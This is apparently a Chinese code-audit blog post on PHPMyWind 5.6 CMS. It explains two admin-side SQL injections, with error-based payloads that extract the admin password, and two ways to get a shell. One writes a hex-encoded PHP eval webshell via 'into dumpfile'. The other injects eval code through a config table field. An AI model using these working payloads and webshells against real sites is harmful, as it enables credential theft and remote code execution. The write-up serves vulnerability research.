PHPMyWind代碼審計

0×01 環境搭建

Phpstudy

PHPMyWind 5.6(http://phpmywind.com/downloads/PHPMyWind_5.6.zip)

代碼審計工具(Seay源代碼審計系統)

0×02 代碼審計過程

我們擁有了一個CMS的源碼,其實我們可以先不用著急先去看看這個CMS以前報過的漏洞,這個CMS比較老牌,稍微一查,就在烏雲知識庫發現了很多信息。

PHPMyWind代碼審計

然後我們先看看這裡漏洞為什麼產生,究竟為什麼,然後往那個方面思考。然後我們再去將源碼就先放入根目錄訪問開始安裝吧!安裝好之後我們查看index.php文件,開頭第一行就是文件包含,包含/include/config.inc.php這個文件,這個文件包含了好幾個文件

我們著重來看看common.inc.php,這個文件就是幫助我們上面觸發漏洞的文件,後面兩個什麼*.classs.php應該是定義類和函數的,可以先不看。

common.inc.php第一開始先定義一些常量,然後定義一個函數_RunMagicQuotes,這個函數實際上就是魔術引號的作用。

再看下面45-58行,這看著感覺很像$$的變量覆蓋漏洞,實際上這裡時一個方便開發的機制,可以讓我們的傳參全部都變成變量使用,例如我傳參a=123。

那麼經過這個處理就變為了$a = 123

PHPMyWind代碼審計

這裡記住,我們可以定義變量了,我通過全局搜索查詢了下,調用這個文件都是文件的開頭為主,然後這個文件中被調用的參數大部分都會先初始化參數,然後處理再進行調用。

PHPMyWind代碼審計

然後代碼又包含了三個文件

PHPMyWind代碼審計

三個文件做什麼的看開發貼心的註釋就知道了,要是變量覆蓋這個在包含common.func.php下面就可以飛起了。這三個文件可以先不看,一個是常用函數,一個是各種配置變量定義,還有一個就是連接數據庫的文件。之後就是設置了一些路徑之類的變量

然後我們還是回來看index.php,整頁就沒什麼有用的地方了。各種輸出都是讀取了數據庫裡面的數據然後輸出。然後還包含了兩個文件,header.php|footer.php。然後讀取這幾個PHP然後再去按照功能和模塊去讀取每個文件就行了。

那麼根據我們的信息收集,我們知道了這款CMS,他以前爆過的SQL注入就是因為沒用初始化變量SQL,然後直接想辦法跳過這個變量SQL的賦值,然後造成直接傳參SQL語句直接執行造成SQL注入,詳情可以見烏雲知識庫找,這裡就不方便貼鏈接了

PHPMyWind代碼審計

那麼我們根據這個思想去找漏洞就很簡單,找沒有初始化過的傳參

開胃菜:

SQL注入一:

打開admin目錄下面的info_update.php文件

PHPMyWind代碼審計

我們發現第55行有一個變量id,這個地方如果我們能夠控制變量id,那麼我們可能就可以對這個CMS進行SQL注入,並且這個變量id都沒有被單雙引號包裹,那麼如果存在注入,我們都不需要去考慮魔術引號帶來的煩惱。

然後這個文件的第57-59行,就是沒有初始化這個$id,而且$id的執行語句在初始化之前,算是被我撿到一隻漏網之魚了。

PHPMyWind代碼審計

但是我這個info_update.php並沒有初始化參數,那麼我們就可以控制$id的值,那麼我們就可以進行SQL注入了。我們再來追蹤一下GetOne函數究竟幹了什麼?

看到include目錄下面的mysqli.class.php文件的第262-294行

PHPMyWind代碼審計

SetQuery函數是替換表名的前綴,然後Execute才是真的執行語句函數,然後們追蹤這個函數,他的定義在mysql.class.php這個文件的第165-191行

PHPMyWind代碼審計

很明顯這的第191行是執行,但是這裡很明顯要過一個CheckSql的檢測。

這個函數在這個文件的522行被定義。

PHPMyWind代碼審計

這個很明顯是80sec的過濾。那麼我們可以直接使用語句繞過,畢竟這個過濾也很老了,雖然這裡有改動,因為過濾問題這裡的SQLmap無法跑出Sql注入,百度下找到一個繞過的80sec語句妥妥的就繞過了。

注入的數據包

<code>GET /admin/info_update.php?id=1 HTTP/1.1

Host: 192.168.32.136

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=7s67quel3o522u240qquhlpo32

Connection: close/<code>

然後構建的語句是:

<code>AND id in (char(@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from pmw_admin limit 0,1))),char(@`'`))/<code>

直接拼接在id傳參的後面可以直接通過報錯注入顯示超管的密碼。如果要賬號就改子查詢裡面的語句

PHPMyWind代碼審計

PHPMyWind代碼審計

然後通過這個方法,我發現了這個CMS在書寫的時候很多地方他差不多功能模塊的核心代碼就不會變。然後我這裡指出的這個SQL注入這代碼屬於核心代碼。只要後臺文件名為

***_update.php都存在這個問題。涉及的文件特別多。好多文件都中招

SQL注入二:

後面發現的這個SQL注入也是和這個差不多,也屬於可以好多文件中招

我們先進行代碼分析吧,打開admin目錄下面的soft_save.php文件

PHPMyWind代碼審計

我們發現第22行有一個函數,我們來看看這個函數幹了什麼~

這個函數的定義在admin_func.php這個文件的第1315-1417行。

PHPMyWind代碼審計

這裡定義的這個函數,第一個傳參是cid,然後因為我的登陸的賬號並不是超管,所以執行了第43行的語句,很明顯,這個函數直接將cid拼湊進了SQL語句,那麼這個地方如果我們能夠控制變量cid,那麼我們可能就可以對這個CMS進行SQL注入,並且這個變量cid都沒有被單雙引號包裹,那麼如果存在注入,我們都不需要去考慮魔術引號帶來的煩惱。那麼我們看看這個$cid是由什麼控制的,是由函數調用時的傳參,那麼就是soft_save.php第22行的變量classid。

然而很明顯這個$classid沒用進行初始化,並且在第二次初始化前就先執行了!!!

然後拿出我寫的第一個SQL注入語句輕鬆拿下。

PHPMyWind代碼審計

我來說下怎麼注入吧,訪問後臺的軟件下載管理

PHPMyWind代碼審計

然後點擊右下角的添加軟件信息

PHPMyWind代碼審計

然後將帶*號的欄目填上數據,因為有前端檢測。

PHPMyWind代碼審計

然後添加,抓包就行,然後將我語句的Payload 加在classid傳參就行

<code>AND model in (char(@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from phpmywind_db.pmw_admin limit 0,1))),char(@`'`))/<code>

可以直接通過報錯注入顯示超管的密碼。如果要賬號就改子查詢裡面的語句


PHPMyWind代碼審計


然後我們會發現這裡實際上是調用了IsCategoryPriv函數傳參所沒有初始化並且拼接進的SQL語句沒用使用引號包含造成的SQL注入。使用了這個函數,然後傳參沒用初始化的文件也有好多。

正餐:

後臺SQL注入似乎危害不夠,進了後臺不應該是想著Getshell嗎?

那我們來看看我找到的Getshell方法。

Getshell 一(通過into_dumpfile):

admin/database_backup.php這個文件的第43行出現的一個switch,於是乎action傳參決定執行哪個功能。

第238行-269行

PHPMyWind代碼審計

這裡只攔截了刪除語句,以及去除反斜槓還有去空格,沒有攔截其他的語句,那麼我們再去Execute這個函數看看,這個函數在include/mysqli.class.php的166行被定義

PHPMyWind代碼審計

這裡有一個安全性檢測我們去看下,這個函數還是在這個文件被定義,在523行到結束,這裡代碼有點長,我就貼核心的一塊吧。

PHPMyWind代碼審計

他過濾了一些常用的黑客函數,比如Union,sleep,benchmark,load_file,into outfile,但是他過濾還是有疏忽,他想到了過濾into outfile,但是沒有過濾into dumpfile,所以只要我們使用into dumpfile就可以直接getshell寫入一個webshell,但是寫文件有個很大的問題就是需要知道他的絕對路徑,那麼絕對路徑我們該怎麼辦妮?

我們可以看到4g.php這個文件,4g.php的第41行只要我們傳參m=show

就會調用templates/default/mobile/show.php

PHPMyWind代碼審計

我們來看看這個文件的第24-49行。

PHPMyWind代碼審計

很明顯這裡24行是通過SELECT * FROM `#@__infoclass` WHERE id = $cid AND checkinfo = ‘true’ ORDER BY orderid ASC去獲取$row,我們傳參cid他就會去讀取

pmw_infoclasee表裡面的內容,然後當cid=4的時候,因為49行要輸出$row[‘title’]但是獲取的參數中沒有這個數據,於是乎就拋出了報錯。

PHPMyWind代碼審計

那麼我們就獲取了絕對路徑,我這個的絕對路徑是C:\\phpstudy\\WWW\\

所以我們只要訪問http://192.168.32.141//4g.php?m=show&&cid=4,就可以獲得絕對路徑,然後後臺導出吧,為了防止過濾問題,我把導出的一句話寫成了16進制。

一句話:

16進制後:3c3f70687020406576616c28245f524551554553545b615d293b3f3e

於是乎導出語句就是:

select 0x3c3f70687020406576616c28245f524551554553545b615d293b3f3e into dumpfile ‘C:/phpstudy/WWW/shell.php’

直接訪問後臺頁面,然後選擇數據庫的執行SQL語句就行

PHPMyWind代碼審計

點擊執行就行了。成功執行

PHPMyWind代碼審計

然後成功導出一句話木馬,拿到了webshell

PHPMyWind代碼審計

PHPMyWind代碼審計

PHPMyWind代碼審計

Getshell 二(通過修改數據庫內容):

查看後臺的site_save.php文件。我們看13行-56行這個分支代碼,第56行有一個函數我們來看看是什麼作用。

PHPMyWind代碼審計

這個函數在這個文件的第131行-163行定義。

PHPMyWind代碼審計

實際上就是讀取數據庫裡面的#@__webconfig`表的數據,然後進行遍歷,然後拼接進$str這個遍歷,然後執行Writef這個函數,我先解釋以下#@__webconfig`是什麼表,實際上#@__ 是代替前綴的,當處理的時候就會按照我安裝的時候設定的前綴進行替換,我使用的是默認設置pmw作為表前綴,那麼這裡讀取pmw_webconfig的內容,然後裡面有兩個if語句,其實看這個$str的陣勢都能看出來這裡是要寫入配置到config.cache.php。

我們先來看這個函數里面的兩個if,第一個if他的作用就是判斷數據表裡面的字段varname如果讀出來是cfg_countcode的時候將那條數據的varvalue所對應的值刪除反斜槓然後賦值給$row[‘varvalue’]

第二個if就是判斷表的vartype字段查出來是不是number,如果不是的話執行

<code>$str .= "\\${$row['varname']} = '".str_replace("'",'',$row['varvalue'])."';\\r\\n”/<code>

$row[‘varname’] 這個值是我們表裡面查到的字段varname的值

$row[‘varvalue’] 這個值是我們表裡面查到的字段varvalue的值

然後str_repalce是替換單引號,怕我使用單引號來跳出這個賦值,然後進行Getshell

那麼如果$row[‘varname’]=a

<code>$row['varvalue']=b/<code>

這個變量str就變為了

<code>
$a = 'b';

?>/<code>

這裡很明顯有防範我單引號跳出來造成getshell,我們我們想一下,如果我們能夠控制$row[‘varname’]這個值是不是就可以代碼執行了,比如這個值為

<code>$row['varname']=a;eval($_REQUEST[a]);///<code>

那麼執行就變為了

<code>$a;eval($_REQUEST[a]);//= 'b';/<code>

很明顯有一句話木馬,然後註釋了後面,語法也沒用問題。那麼核心就是兩個,第一個是控制這個$row[‘varname’],控制這個字段很明顯就是修改數據庫裡面的內容唄。後臺功能裡面就提供了一個更新數據庫的功能,我只需要執行

<code>update pmw_webconfig set varname = 'a;eval($_REQUEST[a])//' where orderid=97/<code>
PHPMyWind代碼審計

PHPMyWind代碼審計

成功執行,然後我們看看數據庫裡面

PHPMyWind代碼審計

當然我這樣看是偷懶了,用後臺自帶的數據庫執行也是可以查看的。

那麼我們通過這個方法已經修改掉了varname,那麼如果$str真的是寫入文件的話我們的

webshell就到手了。

那我們再看看Writef函數是幹什麼的,這個函數在common.func.php的第364-389行被定義。

PHPMyWind代碼審計

很明顯,判斷如果函數傳參$file的目錄存在可寫就寫入,寫入的東西就是函數傳參的$str。

那麼函數傳參的$str不就是前面我們拼湊出來的變量str。

所以這裡就是寫入文件到config.cache.php文件。

萬事俱備了,我們改了數據庫內容能讓惡意語句拼接進去了。那麼我們只要觸發就行。具體操作也很簡單,我們在站點配置管理隨便加一個新站點。

PHPMyWind代碼審計

PHPMyWind代碼審計

隨便寫就行,然後提交,我們的一句話就被插進去了。

PHPMyWind代碼審計

然後我們只要傳參a就行

PHPMyWind代碼審計

成功Getshell


分享到:


相關文章: